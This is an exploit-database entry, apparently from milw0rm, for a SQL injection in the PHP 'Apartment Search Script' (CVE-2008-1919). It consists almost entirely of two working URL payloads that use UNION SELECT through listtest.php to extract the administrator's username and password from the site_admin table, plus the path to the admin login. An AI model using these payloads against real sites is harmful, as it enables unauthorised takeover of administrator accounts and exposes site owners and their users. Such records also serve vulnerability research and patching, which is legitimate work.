Apartment Search Script - 'listtest.php' SQL Injection

Author: Crackers_Child
type: webapps
platform: php
port: 
date_added: 2008-04-18 
date_updated: 2016-11-24 
verified: 1 
codes: OSVDB-44533;CVE-2008-1919 
tags: 
aliases:  
screenshot_url:  
application_url: 

$ Script        : Apartment Search Script SQL Injection Vulnerability

$ Script Info   : http://www.yourfreeworld.com/script/apartment.asp

$ Script Price  : Only $79

$ Demo          : http://www.downlinegoldmine.com/apartment/

$ Author        : Crackers_Child

$ Contact       : cashr00t@hotmail.com

$ Note          : Erbabi ile vurulduysak sirtimizdan neyleyelim.Bir Yarali Kurt Misali

$ Note          : Her Yanimiz it Tuzagi . . .

$ Username Exp  : www.x.com/script_path/listtest.php?r=-1/**/union/**/select/**/1,admin%20from%20site_admin/*

$ Password Exp  : www.x.com/script_path/listtest.php?r=-1/**/union/**/select/**/1,password%20from%20site_admin/*

$ Admin Login   : /Site_Admin/

$ Greetz        : Milw0rm.Com & All Peace Warriors

# milw0rm.com [2008-04-19]